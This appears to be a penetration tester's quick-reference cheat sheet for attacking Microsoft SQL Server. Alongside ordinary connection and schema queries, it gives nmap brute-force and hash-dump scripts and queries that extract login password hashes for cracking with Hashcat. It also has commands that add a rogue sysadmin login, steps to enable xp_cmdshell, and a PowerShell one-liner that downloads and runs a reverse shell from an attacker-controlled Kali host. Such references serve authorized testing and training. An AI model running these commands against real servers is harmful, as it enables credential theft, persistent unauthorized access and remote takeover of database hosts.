Microsoft SQL Server (MSSQL) – port 1433

Microsoft SQL Server database quick reference.

Connect to instance
Queries
Default Users / Passwords
Execute OS commands
Privilege Escalation

Nmap scripts

ls -la /usr/share/nmap/scripts/ms-sql*
/usr/share/nmap/scripts/ms-sql-brute.nse
/usr/share/nmap/scripts/ms-sql-config.nse
/usr/share/nmap/scripts/ms-sql-dac.nse
/usr/share/nmap/scripts/ms-sql-dump-hashes.nse
/usr/share/nmap/scripts/ms-sql-empty-password.nse
/usr/share/nmap/scripts/ms-sql-hasdbaccess.nse
/usr/share/nmap/scripts/ms-sql-info.nse
/usr/share/nmap/scripts/ms-sql-ntlm-info.nse
/usr/share/nmap/scripts/ms-sql-query.nse
/usr/share/nmap/scripts/ms-sql-tables.nse
/usr/share/nmap/scripts/ms-sql-xp-cmdshell.nse
nmap -p 1433 --script=ms-sql* $IP

See Vulners.com

nmap -p 1433 --script ms-sql-query $IP --script-args mssql.username=sa,mssql.password=sa,ms-sql-query.query="SELECT * FROM master..syslogins"

Connect to instance

Nmap scripts

See Vulners.com

nmap -p 1433 --script ms-sql-query $IP --script-args mssql.username=sa,mssql.password=sa,ms-sql-query.query="SELECT * FROM master..syslogins"
nmap -p 1433 --script ms-sql-query $IP --script-args mssql.username=sa,mssql.password=sa,mssql.instance-name=dbname

impacket

impacket-mssqlclient
impacket-mssqlclient [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target
impacket-mssqlclient [[domain/]username[:password]@]<targetName or address>

mssql-cli (Kali)

Best option

See GitHub.

Installation

cd /usr/bin
sudo git clone https://github.com/dbcli/mssql-cli.git
cd mssql-cli
sudo apt install python3-pip
sudo python3 -m pip install mssql-cli

Edit the file to use python3 instead of python.

sudo nano /usr/local/bin/mssql-cli
python3 -m mssqlcli.main "$@"

Default log file location & command history

Log file also contains query results…

/home/kali/.config/mssqlcli/mssqlcli.log
tail -n 100 /home/kali/.config/mssqlcli/history

Help

mssql-cli --help

Connect to instance

mssql-cli -S <server URL> -d <database name> -U <username> -P <password>

sqlcmd (Windows)

sqlcmd -S ComputerA  
sqlcmd -S ComputerA\instanceB  
sqlcmd -S ComputerA,1433
sqlcmd -S 127.0.0.1  
sqlcmd -S 127.0.0.1\instanceB
sqlcmd -S 127.0.0.1,1433
sqlcmd -S tcp:ComputerA,1433 
sqlcmd -S tcp:127.0.0.1,1433

Python

sudo apt install python3-pymssql # or pip install pymssql
import pymssql

# Define the connection parameters
server = 'x.x.x.x\\instance_name'
database = 'database_or_catalog_name'
username = 'username'
password = 'password'

# Establish a connection
conn = pymssql.connect(server=server, user=username, password=password, database=database)

# Create a cursor object
cursor = conn.cursor()

# Example query execution
cursor.execute("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'")
for row in cursor.fetchall():
    print(row)

# Close the connection
conn.close()

Queries

Comments

-- This is a single line comment
/* This is a multi line comment */

Test connection

SELECT 'Connection test succeeded' AS Message

Current version

select @@version

List databases

Current database

select db_name()

All databases

select name from sys.databases;

Change current database

use <dbname>

Users & Logins

“Logins” grant access to the server. “Users” grants login access to the database.

List all logins in current SQL Server instance

With password hash!

Put the hashes in a file, and use Hashcat to crack them. Use hash type 1731 for MS SQL 2012, 2014, 2016, and 2017.

select sp.name as login,
  sp.type_desc as login_type,
  sl.password_hash,
  sp.is_disabled as is_disabled
from sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
order by 1;
SELECT CONCAT(sp.name, '***', master.sys.fn_varbintohexstr(sl.password_hash)) from master.sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL 2000

SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.

MSSQL 2005

SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

List all users in current database

select *
from sys.database_principals
where type NOT IN ('A', 'G', 'R', 'X');

Show current users, sessions, and processes in an instance

select system_user
sp_who
sp_who 'active'
sp_who '<login name>'
select spid, status, loginame, hostname, blocked, db_name(dbid), cmd
from master..sysprocesses;

Create a DBA user

EXEC sp_addlogin 'myprecious', 'Precious123'
master.dbo.sp_addsrvrolemember 'myprecious', 'sysadmin'
SELECT sp.name, master.sys.fn_varbintohexstr(sl.password_hash) from master.sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id

Objects

List schemas in current database

select name from sys.schemas

List tables from current database

select s.name as schema_name, t.name as table_name
from sys.tables t inner join sys.schemas s on t.schema_id = s.schema_id
where type = 'U'
order by 1, 2;
select CONCAT(s.name, '.', t.name) from sys.tables t inner join sys.schemas s on t.schema_id = s.schema_id

List columns for tables in current database

SELECT table_catalog, table_schema, table_name, column_name FROM information_schema.columns
SELECT CONCAT(table_catalog, '.', table_schema, '.', table_name, '***', column_name) FROM information_schema.columns

List objects (SQL Server 2000)

# List user tables (exclude system tables)
SELECT * FROM SYSOBJECTS WHERE xtype = 'U';
GO

List objects (SQL Server 2005+)

' List tables only (not views)
SELECT * FROM databaseName.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';
GO
# List tables and views (TABLE_TYPE column will be "BASE TABLE" or "VIEW")
SELECT * FROM INFORMATION_SCHEMA.TABLES;
GO
' Specify in which database to list tables and views
SELECT * FROM databaseName.INFORMATION_SCHEMA.TABLES;
GO
' Describe table columns
select * 
from information_schema.columns 
where table_name = 'myTable'
order by ordinal_position

Insert rows

insert into myTable (col1, col2) values ('value1', 'value2')

Create table

CREATE TABLE Persons (
    PersonID int,
    LastName varchar(255),
    FirstName varchar(255),
    Address varchar(255),
    City varchar(255)
);

OS Commands

Execute OS commands

EXEC xp_cmdshell 'whoami'

Configure xp_cmdshell

When having ‘sa’ credentials, you can configure xp_cmdshell procedure.

To allow advanced options to be changed

use master
EXEC master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
GO

Enable the xp_cmdshell procedure

EXEC master.dbo.sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO

Execute OS commands

EXEC xp_cmdshell 'whoami'

Download & Execute reverse shell in memory

See Powershell Cheat Sheet.

EXEC xp_cmdshell 'powershell.exe IEX (New-Object System.Net.WebClient).DownloadString(''http://<KALI IP>/rev.ps1'')'

Default Users / Passwords

Admin user is "sa"

Privilege Escalation